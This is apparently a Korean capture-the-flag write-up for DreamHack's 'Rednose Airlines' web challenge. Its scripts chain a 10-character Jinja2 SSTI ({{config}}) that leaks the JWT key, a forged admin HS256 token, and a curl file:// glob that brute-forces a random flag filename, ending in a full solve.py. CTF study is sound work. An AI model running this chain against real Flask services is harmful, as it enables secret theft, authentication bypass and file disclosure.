[🥇 Gold 3] 열 글자 안에 들어가는 SSTI 하나로 — DreamHack Rednose Airlines 풀이

grep -n -E "len\(form_id\)|re\.search|render_template_string|format\(|subprocess\.run|JWTKey|RATE_LIMIT" extracted/deploy/main.py

JWTKey = ''.join(random.choices(string.ascii_letters, k=50))
app.config['JWTKey'] = JWTKey

return render_template_string(
    '{form_id} is not registered, or the password is incorrect.'.format(form_id=form_id))

result = subprocess.run(['curl', airport], shell=False,
                        stdout=subprocess.PIPE, stderr=subprocess.DEVNULL, text=True)

if len(form_id) > 10:
    return "Too Long"
elif len(form_id) < 3:
    return "Too Short"
elif not re.search(r"^[A-Za-z{}]*$", form_id):
    return "Blacklist Word"

#!/usr/bin/env python3
"""/login 의 form_id 필터를 그대로 재현해, 어떤 SSTI 페이로드가 살아남는지 본다.
 
서버 코드의 검사 순서:
    len(form_id) > 10            -> "Too Long"
    len(form_id) < 3             -> "Too Short"
    not re.search(r"^[A-Za-z{}]*$", form_id) -> "Blacklist Word"
살아남은 것만 실제로 POST 해서 응답 첫 줄을 찍는다.
 
usage: python3 probe_filter.py http://host3.dreamhack.games:PORT
"""
import re
import sys
import html
 
import requests
 
BASE = (sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:13000").rstrip("/")
 
PAYLOADS = [
    "{{7*7}}",                  # 교과서 SSTI 탐지
    "{{config.items()}}",       # 흔한 config 덤프
    "{{''.__class__}}",         # 객체 사다리 시작점
    "{{request.args}}",         # Flask 전역
    "{{self}}",                 # 필터는 통과
    "{{config}}",               # 필터 통과 + JWTKey 노출
]
 
 
def gate(s: str) -> str:
    """서버와 동일한 순서로 거절 사유를 돌려준다. 통과면 빈 문자열."""
    if len(s) > 10:
        return "Too Long"
    if len(s) < 3:
        return "Too Short"
    if not re.search(r"^[A-Za-z{}]*$", s):
        return "Blacklist Word"
    return ""
 
 
for p in PAYLOADS:
    why = gate(p)
    if why:
        print(f"[-] {p:<22} len={len(p):<3} 거절: {why}")
        continue
    r = requests.post(f"{BASE}/login", data={"id": p, "pw": "x"}, timeout=30)
    body = html.unescape(r.text).strip()
    key = re.search(r"'JWTKey':\s*'([A-Za-z]+)'", body)
    print(f"[+] {p:<22} len={len(p):<3} 통과 -> {len(body)}B 응답"
          + (f" | JWTKey={key.group(1)}" if key else " | 렌더만 되고 누출 없음"))

python3 probe_filter.py http://host3.dreamhack.games:22915

decode_jwt = jwt.decode(request.cookies.get('auth'), JWTKey, algorithms=['HS256'])
if decode_jwt['id'] == 'admin' and decode_jwt['isAdmin'] == True:

#!/usr/bin/env python3
"""누출한 JWTKey 로 만든 토큰이 서버의 검사를 그대로 통과하는지 손으로 확인한다.
 
서버가 하는 일(/dashboard, /api/metar 동일):
    decode_jwt = jwt.decode(cookie, JWTKey, algorithms=['HS256'])
    if decode_jwt['id'] == 'admin' and decode_jwt['isAdmin'] == True: ...
    except: fail.jpg
 
usage: python3 verify_jwt.py http://host3.dreamhack.games:PORT
"""
import re
import sys
import html
 
import jwt
import requests
 
BASE = (sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:13000").rstrip("/")
 
body = html.unescape(requests.post(f"{BASE}/login",
                                   data={"id": "{{config}}", "pw": "x"}, timeout=30).text)
key = re.search(r"'JWTKey':\s*'([A-Za-z]+)'", body).group(1)
print(f"leaked JWTKey : {key}")
 
token = jwt.encode({"id": "admin", "isAdmin": True}, key, algorithm="HS256")
print(f"forged token  : {token}")
 
claims = jwt.decode(token, key, algorithms=["HS256"])
print(f"decode(key)   : {claims}")
print(f"server 조건   : id=='admin' -> {claims['id'] == 'admin'}"
      f" / isAdmin==True -> {claims['isAdmin'] is True}")
 
try:
    jwt.decode(token, "A" * len(key), algorithms=["HS256"])
except Exception as e:
    print(f"decode(틀린키): {type(e).__name__}: {e}  -> 서버는 except 로 빠져 fail.jpg")

python3 verify_jwt.py http://host3.dreamhack.games:22915

result = subprocess.run(['curl', airport], shell=False, ...)

grep -n "RUN FLAG" extracted/Dockerfile && docker exec rednose-vuln ls -l /deploy

RUN FLAG=$(cat /dev/urandom | tr -dc 'a-z' | fold -w 4 | head -n 1); mv /deploy/flag.txt /deploy/flag_$FLAG.txt

RATE_LIMIT_REQUESTS = 10
RATE_LIMIT_TIMEOUT = timedelta(minutes=5)

#!/usr/bin/env bash
# curl URL 글로빙만으로 "이름을 모르는 파일"을 읽을 수 있는지 로컬에서 먼저 확인한다.
# Dockerfile 과 같은 방식으로 랜덤 4자 이름을 붙인 더미 flag 를 만들고,
# 그 이름을 curl 에 알려주지 않은 채 [a-z] 레인지 4개로 전수한다.
set -u
D=/tmp/rn_glob
rm -rf "$D"; mkdir -p "$D"
NAME=$(head -c 4096 /dev/urandom | tr -dc 'a-z' | head -c 4)
echo "DH{dummy_for_glob_demo}" > "$D/flag_$NAME.txt"
 
echo "# $D 안의 파일 수: $(ls "$D" | wc -l)  (이름은 curl 에 알려주지 않는다)"
echo "# [a-z] 4개 = $((26*26*26*26)) 조합을 curl 한 번이 돈다"
time curl -s "file://$D/flag_[a-z][a-z][a-z][a-z].txt"
echo "# 정답이었던 이름: flag_$NAME.txt"

./glob_demo.sh

#!/usr/bin/env python3
"""Rednose Airlines (DreamHack, Gold 3, web) — full exploit chain.
 
  1) /login POST  : form_id 이 .format() 으로 템플릿 소스에 들어가 Jinja2 SSTI.
                    len 3~10 + ^[A-Za-z{}]*$ 제약 안에 들어가는 페이로드는
                    사실상 {{config}}(정확히 10자) 하나 → app.config 전체가 찍히고
                    거기에 app.config['JWTKey'] 가 들어 있다.
  2) JWT 위조      : 누출한 키로 {"id":"admin","isAdmin":true} HS256 서명.
  3) /api/metar   : subprocess.run(['curl', airport], shell=False) — 셸이 없어
                    명령주입은 불가하고 argv 도 하나뿐이다. 그래서 "curl 이
                    혼자 할 수 있는 일"만 쓴다 → file:// 로컬 파일 읽기 +
                    curl URL 글로빙([a-z] 레인지)으로 랜덤 4자 파일명을
                    한 번의 요청 안에서 456,976번 시도.
 
usage: python3 solve.py http://host1.dreamhack.games:PORT
"""
import re
import sys
import html
import urllib.parse
 
import jwt
import requests
 
BASE = (sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:13000").rstrip("/")
# 랜덤 파일명: Dockerfile 의 `tr -dc 'a-z' | fold -w 4` → [a-z]{4}
GLOB = "file:///deploy/flag_[a-z][a-z][a-z][a-z].txt"
 
 
def leak_jwt_key() -> str:
    """SSTI({{config}}) 로 app.config 를 렌더링시켜 JWTKey 를 뽑는다."""
    r = requests.post(f"{BASE}/login", data={"id": "{{config}}", "pw": "x"}, timeout=30)
    body = html.unescape(r.text)
    m = re.search(r"'JWTKey':\s*'([A-Za-z]+)'", body)
    if not m:
        raise SystemExit(f"[-] JWTKey 누출 실패\n{body[:500]}")
    return m.group(1)
 
 
def forge(key: str) -> str:
    """/dashboard · /api/metar 의 두 조건(id=='admin', isAdmin==True)을 맞춘 토큰."""
    return jwt.encode({"id": "admin", "isAdmin": True}, key, algorithm="HS256")
 
 
def read_flag(token: str) -> str:
    """curl 인자 하나로 file:// 읽기 + URL 글로빙 브루트포스."""
    url = f"{BASE}/api/metar?airport=" + urllib.parse.quote(GLOB, safe="")
    r = requests.get(url, cookies={"auth": token}, timeout=300)
    return r.text
 
 
if __name__ == "__main__":
    key = leak_jwt_key()
    print(f"[+] JWTKey  = {key}  ({len(key)} chars)")
    token = forge(key)
    print(f"[+] forged  = {token}")
    out = read_flag(token)
    print(f"[+] /api/metar 응답 {len(out)} bytes")
    for line in out.splitlines():
        if line.strip():
            print(f"[*] {line.strip()}")
    flag = re.search(r"DH\{[^}]*\}", out)
    print(f"[+] FLAG    = {flag.group(0) if flag else '(없음)'}")

python3 solve.py http://host3.dreamhack.games:22915